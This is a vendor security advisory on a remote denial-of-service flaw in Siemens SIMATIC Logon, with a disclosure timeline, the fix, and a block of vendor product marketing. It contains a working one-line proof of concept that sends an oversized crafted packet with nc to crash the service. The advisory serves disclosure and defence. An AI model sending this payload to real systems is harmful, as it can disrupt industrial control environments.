Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

[R1] Siemens SIMATIC Logon Denial of Service

Medium

Synopsis

While investigating CVE-2017-2684 we found a new unauthenticated remote denial of service vulnerability in slra_servicex.exe. The denial of service occurs due to an out of bounds write in a logging function. In the function, a 508 byte storage buffer is passed to vswprintf_s along with user provided data. Sufficiently large input will trigger the vulnerability.

The following can be used as a proof of concept.

[[email protected] inp]$ python -c "print '\x00\x54\x4c\x53\x00\x00\x00\x01''\x00'*48'\x00\x00\x00\x01\x00\x00\x04\x00'+'A'*0x408" | tr -d '\n' | nc 192.168.1.123 16389

The proof of concept will generate the following error.

0:002> .lastevent
Last event: d1c.33c: Exit thread 2:33c, code c0000417
debugger time: Tue Feb 28 13:28:10.802 2017 (UTC - 5:00)
0:002> !error c0000417
Error code: (NTSTATUS) 0xc0000417 (3221226519) - An invalid parameter was passed to a C runtime function.

Solution

Upgrade to SIMATIC Logon 1.6 or newer

Disclosure Timeline

2017-03-07 - Issue discovered
2017-03-17 - Issue reported to vendor via [email protected]
2017-03-20 - Vendor acks, assigns S-PCERT#80092 for tracking
2017-03-29 - Vendor says they can reproduce our findings, working on mitigation and timeline
2017-04-24 - Vendor says Dev working on a fix, will keep us updated
2017-07-06 - Siemens releases advisory
2017-07-11 - ICS-Cert releases advisory

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Try for Free Buy Now

Try Tenable.io

FREE FOR 60 DAYS

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Sign up now.

Buy Tenable.io

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

65 assets

$2,190.00

Buy Now

Try for Free Buy Now

Try Nessus Professional Free

FREE FOR 7 DAYS

Nessus® is the most comprehensive vulnerability scanner on the market today. Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy Nessus Professional

Nessus® is the most comprehensive vulnerability scanner on the market today. Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy a multi-year license and save

Try for Free Buy Now

Try Tenable.io Web Application Scanning

FREE FOR 60 DAYS

Enjoy full access to our latest web application scanning offering designed for modern applications as part of the Tenable.io platform. Safely scan your entire online portfolio for vulnerabilities with a high degree of accuracy without heavy manual effort or disruption to critical web applications. Sign up now.

Buy Tenable.io Web Application Scanning

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

5 FQDNs

$3,578.00

Buy Now

Try for Free Contact Sales

Try Tenable.io Container Security

FREE FOR 60 DAYS

Enjoy full access to the only container security offering integrated into a vulnerability management platform. Monitor container images for vulnerabilities, malware and policy violations. Integrate with continuous integration and continuous deployment (CI/CD) systems to support DevOps practices, strengthen security and support enterprise policy compliance.

Buy Tenable.io Container Security

Tenable.io Container Security seamlessly and securely enables DevOps processes by providing visibility into the security of container images – including vulnerabilities, malware and policy violations – through integration with the build process.

Learn More about Industrial Security

Get a Demo of Tenable.sc

Please fill out the form below with your contact information and a sales representative will contact you shortly to schedule a demo. You may also include a short comment (limited to 255 characters). Please note that fields with asterisks (*) are mandatory.